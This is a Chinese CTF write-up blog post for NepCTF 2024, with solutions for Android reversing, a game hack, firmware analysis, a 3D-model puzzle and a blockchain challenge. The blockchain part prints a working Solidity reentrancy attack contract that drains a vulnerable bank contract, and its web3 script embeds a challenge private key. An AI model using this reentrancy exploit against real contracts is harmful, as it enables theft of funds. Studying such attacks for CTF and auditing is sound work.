NepCTF2024WP

moshui Lv2

前言

咱终于也是有奖的人了。
image.png

Re

0ezAndroid

首先是安卓apk,jadx看一下。
image.png
发现有个关键加密代码,其中是依靠this.clickCount不断变化并且使用底下那个判断条件来走的。
在右边还看到了个PDF,我一开始以为跑出来是假flag
然后使用frida构造脚本,让其循环调用这个函数,直到满足条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import frida
import sys

jscode = """
Java.perform(() => {
let MainActivity = Java.use("com.example.clickmemore.MainActivity");
MainActivity.encrypt.implementation = function(i, str){
console.log('encrypt is called');

while(true){
i = i + 1;
console.log(i);
let ret = this.encrypt(i, str);
if(ret[2] == 37 && ret[3] == 80 && ret[4] == 68 && ret[5] == 70 && ret[6] == 45 && ret[7] == 49 && ret[8] == 46 && ret[9] == 52){
console.log('encrypt ret value is ' + ret);
break;
}
}

return ret;
};
});
"""

process = frida.get_remote_device().attach('Click!!!')
script = process.create_script(jscode)
script.load()
sys.stdin.read()

这个脚本使用后,点击一次按钮即可开始爆破。
58f49978be7e170eb321a1feceb44eca.png
最终在10714出爆破出正确PDF,我们用脚本写出。
open('1.pdf','wb+').write(bytearray(pdf))
然后vs打开pdf,把js代码提出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
function _0x293d(_0xf34e71, _0x3b0a75) {
var _0x152c52 = _0x152c();
return (
(_0x293d = function (_0x293d07, _0x1cf734) {
_0x293d07 = _0x293d07 - 0x17d;
var _0x295575 = _0x152c52[_0x293d07];
return _0x295575;
}),
_0x293d(_0xf34e71, _0x3b0a75)
);
}
function _0x152c() {
var _0x2afd46 = [
"length",
"1290091TnwESj",
"log",
"24gcWwOg",
"238vgiywR",
"1110zIrcMD",
"6570PnprMP",
"2724jzgoXj",
"32622ruecCw",
"1iEaPEv",
"559224qyymQW",
"fromCharCode",
"170qYoxBW",
"91746kJRbmM",
"1285816cOGCJT",
];
_0x152c = function () {
return _0x2afd46;
};
return _0x152c();
}
var _0x1bd3c0 = _0x293d;
(function (_0x46e90f, _0x45bba7) {
var _0x4be0b6 = _0x293d,
_0x2c1162 = _0x46e90f();
while (!![]) {
try {
var _0xd857f7 =
(parseInt(_0x4be0b6(0x17f)) / 0x1) *
(parseInt(_0x4be0b6(0x180)) / 0x2) +
-parseInt(_0x4be0b6(0x183)) / 0x3 +
(parseInt(_0x4be0b6(0x17d)) / 0x4) *
(parseInt(_0x4be0b6(0x182)) / 0x5) +
(parseInt(_0x4be0b6(0x17e)) / 0x6) *
(parseInt(_0x4be0b6(0x189)) / 0x7) +
-parseInt(_0x4be0b6(0x184)) / 0x8 +
(parseInt(_0x4be0b6(0x18b)) / 0x9) *
(parseInt(_0x4be0b6(0x18a)) / 0xa) +
(parseInt(_0x4be0b6(0x186)) / 0xb) *
(-parseInt(_0x4be0b6(0x188)) / 0xc);
if (_0xd857f7 === _0x45bba7) break;
else _0x2c1162["push"](_0x2c1162["shift"]());
} catch (_0x203077) {
_0x2c1162["push"](_0x2c1162["shift"]());
}
}
})(_0x152c, 0x22dbf);
var cipher = [
0x69, 0x7c, 0x70, 0x75, 0x68, 0x71, 0x7b, 0x73, 0x79, 0x76, 0x7c, 0x7f,
0x75, 0x72, 0x78, 0x70, 0x7a, 0x45, 0x4f, 0xe, 0x4d, 0x41, 0x4b, 0x43, 0x42,
0x46, 0x4c, 0x44, 0x4e, 0x42, 0xc, 0x40, 0x4a, 0x55, 0x5f, 0x13, 0x4e,
];
flag = "";
for (i = 0x0; i < cipher[_0x1bd3c0(0x185)]; i++) {
flag += String[_0x1bd3c0(0x181)](cipher[i] ^ (i + 0xf));
}
console[_0x1bd3c0(0x187)](flag), alert(flag);

直接浏览器跑一下就行,其flag与一开始的POC2.pdf一样。

Super Neuro : Escape from Flame!

是个游戏,能发现H是左右速度,V是上下速度,那么开挂就好啦。
让那个东西动一动,这个游戏如果丢失焦点就会暂停,所以按ctrl + Enter先将他能变小,方便搜索。
e899882a9baabeebdc4498d13a693799.png
然后用CE分别搜这俩的单浮点即可,然后V改成正速度,H控制左右,慢慢飞即可。
a43ab8315d455a2ffe89d0ff94ae687d.png
然后到了1024之后底下就会显示flag。

Blockchain

theif_god

头一次做区块链题,干了好几个小时,主要是不会sol现学的。
一开始踩坑的我就不说了,直接说正确做法。
首先根据源码审计sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pragma solidity ^0.8.0;

contract Bank {
mapping(address => uint256) public balanceOf;
string private flag;
uint256 public flagPrice = 50 ether;

// 事件日志
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event TransferFailed(address indexed user, uint256 amount);
event FlagPurchased(address indexed buyer, string flag);

constructor(string memory _flag) {
flag = _flag;
}

// 存入ether,并更新余额
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}

// 提取msg.sender的全部ether
function withdraw() external {
uint256 balance = balanceOf[msg.sender]; // 获取余额
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
// 更新余额
balanceOf[msg.sender] = 0;
}


// 获取银行合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}

// 获取flag
function getFlag() external view returns (string memory) {
require(balanceOf[msg.sender] >= flagPrice, "Insufficient balance to get flag");
return flag;
}
}

ctf-wiki 看一下就可以发现这个withdraw函数可以重入攻击(Re-Entrancy),他先把钱给你了,然后才赋值为0

然后他给了个脚本,简单修改一下,首先我们需要直到上述sol的abi,也就是编译一下获取abi,在1.py中就可以完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
install_solc('0.8.26')
set_solc_version('0.8.26')
solidity_code = '''
就是上述那个code
'''

# 编译Solidity合约
compiled_sol = compile_source(solidity_code)
contract_id, contract_interface = compiled_sol.popitem()
print(contract_interface['abi'])
```
然后按照他给的脚本,结合abi,实现一个获取本人有多少个币的功能。
```python
from web3 import Web3
web3 = Web3(Web3.HTTPProvider("https://neptune-这里是容器的端口.nepctf.lemonprefect.cn"))


# 定义一个函数来扫描区块链并查找合约创建交易
def find_contract_addresses(start_block, end_block):
contract_addresses = []
for block_number in range(start_block, end_block + 1):
block = web3.eth.get_block(block_number, full_transactions=True)
for tx in block.transactions:
if tx.to is None:
receipt = web3.eth.get_transaction_receipt(tx.hash)
contract_addresses.append(receipt.contractAddress)
return contract_addresses


# 扫描区块范围
start_block = 0 # 起始区块
end_block = web3.eth.block_number # 当前最新区块
contracts = find_contract_addresses(start_block, end_block)
abi = [{'inputs': [{'internalType': 'string', 'name': '_flag', 'type': 'string'}], 'stateMutability': 'nonpayable', 'type': 'constructor'}, {'anonymous': False, 'inputs': [{'indexed': True, 'internalType': 'address', 'name': 'user', 'type': 'address'}, {'indexed': False, 'internalType': 'uint256', 'name': 'amount', 'type': 'uint256'}], 'name': 'Deposit', 'type': 'event'}, {'anonymous': False, 'inputs': [{'indexed': True, 'internalType': 'address', 'name': 'buyer', 'type': 'address'}, {'indexed': False, 'internalType': 'string', 'name': 'flag', 'type': 'string'}], 'name': 'FlagPurchased', 'type': 'event'}, {'anonymous': False, 'inputs': [{'indexed': True, 'internalType': 'address', 'name': 'user', 'type': 'address'}, {'indexed': False, 'internalType': 'uint256', 'name': 'amount', 'type': 'uint256'}], 'name': 'TransferFailed', 'type': 'event'}, {'anonymous': False, 'inputs': [{'indexed': True, 'internalType': 'address', 'name': 'user', 'type': 'address'}, {'indexed': False, 'internalType': 'uint256', 'name': 'amount', 'type': 'uint256'}], 'name': 'Withdraw', 'type': 'event'}, {'inputs': [{'internalType': 'address', 'name': '', 'type': 'address'}], 'name': 'balanceOf', 'outputs': [{'internalType': 'uint256', 'name': '', 'type': 'uint256'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'deposit', 'outputs': [], 'stateMutability': 'payable', 'type': 'function'}, {'inputs': [], 'name': 'flagPrice', 'outputs': [{'internalType': 'uint256', 'name': '', 'type': 'uint256'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'getBalance', 'outputs': [{'internalType': 'uint256', 'name': '', 'type': 'uint256'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'getFlag', 'outputs': [{'internalType': 'string', 'name': '', 'type': 'string'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'withdraw', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}]
print("Deployed contract addresses:")
for address in contracts:
print(address)

contract_address = "0xA86Cb9aCABb3E6629a47d676BEB38e2455B20917"#扫出来第一个就是他

# 实例化合约对象
contract = web3.eth.contract(address=contract_address, abi=abi)
attacker_private_key = "0x4b609fde92771ee750dac4d0aace6c9cf34e341229dbda382e49c492ad206e5e"

# 通过私钥导出账户地址
attacker_account = web3.eth.account.from_key(attacker_private_key)
attacker_address = attacker_account.address


# 检查攻击者在合约中的余额
balance = contract.functions.balanceOf(attacker_address).call()
print(f"攻击者的合约余额: {web3.from_wei(balance, 'ether')} ether")

其中attacker_private_key在下载的附件hardhat.config.js中有。

然后可以发现本地有10个ether,那么也满足重入攻击的条件,我们去remix写一个攻击合约,并让其带着1 ether来执行攻击。

我们选择自定义,来填入地址,然后编写攻击合约编译测试。
image.png

攻击合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pragma solidity ^0.8.0;

interface BankInterface {
function withdraw() external;
function deposit() external payable;
function getFlag() external view returns (string memory);
}

contract Attacker {
BankInterface private target = BankInterface(0xA86Cb9aCABb3E6629a47d676BEB38e2455B20917);
uint256 private reentrancyCount;

event FlagCaptured(string flag);

constructor() payable {
require(msg.value >= 1 ether, "Must send at least 1 ETH to deploy");
}

// 发起攻击
function exploit() public payable {
//存0.9 ether
target.deposit{value: 0.9 ether}();
reentrancyCount = 0;
target.withdraw();
}

function GetFlag() external returns(string memory) {
target.deposit{value: 50 ether}();
string memory flag = target.getFlag();
emit FlagCaptured(flag);
return flag;
}

// 回退函数,用于重入攻击
receive() external payable {
if (reentrancyCount < 55) {
reentrancyCount++;
target.withdraw();
}

}

function Balance() public view returns (uint256) {
return address(this).balance;
}
}

这里有个重点就是,我如何让这个合约带着ether,我们使用如下代码:

1
2
3
constructor() payable {
require(msg.value >= 1 ether, "Must send at least 1 ETH to deploy");
}

光有代码还不够,我们需要在部署时,手动填入ether。
1724608147714.jpg
这样点击部署之后,等一会就会发现合约有1个ether。
然后发起攻击就可以了,请注意攻击这里是先存入0.9 个 ether,是因为需要支付存入的gas费用,如果写1的话将没钱支付gas。

等exploit完成后,调用GetFlag即可。
f609df2d4e50835f9221efef0b250837.png
其中日志里就有flag了。

IOT

火眼金睛

拿到bin文件,直接binwalk -e,发现文件都是散的,在Linux里面可以轻松发现,然后把二进制文件提取出来,放到一个文件夹中分析,以为题目说是符号表所以肯定是个二进制文件。
image.png
然后用ida一个个看,直到看到了19047F其中有一大堆函数名字,那么应该要从中找不一样的。

一开始都是搜索flag相关内容然后没有,脑洞一下想到可以用base64加密,搜=结果真有,转过去可以发现是一长串,我这里ida识别有问题,需要手动把落单的字符补上去。
image.png
JZSXAQ2UIZ5VSMDVL5DTA5C7JMZTG3S7GFXFGMLHNB2F6MLOL53FQ5ZQOJFXGIJBEFPUYM3UE5ZV6RZQL5DHK4TUNAZXE7I=很显然,这个是Base32,解一下就行了。

MISC

签到

真的就是玩一下就行。
image.png

3DNep

这文件不认识,直接百度glTF,发现是个3d文件,继续百度找一个能在线看的。
image.png
转一转就可以发现底下有个码,我一开始以为二维码拼了半天。

经过搜索能搜到网鼎杯青龙组2020部分题解 这样一篇文章,其中虚幻2这个题的码与本题类似,故此继续搜索网鼎杯青龙组相关字样,可以找到视频题解

可以发现这个是叫汉信码。找个在线识别的网站 识别一下,需要注意,由于我这个亮度有问题,需要让白色更白防止识别错误。

  • 标题: NepCTF2024WP
  • 作者: moshui
  • 创建于 : 2024-08-26 04:18:05
  • 更新于 : 2024-08-27 12:55:43
  • 链接: https://www.moshui.eu.org/2024/08/25/nepctf2024wp/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论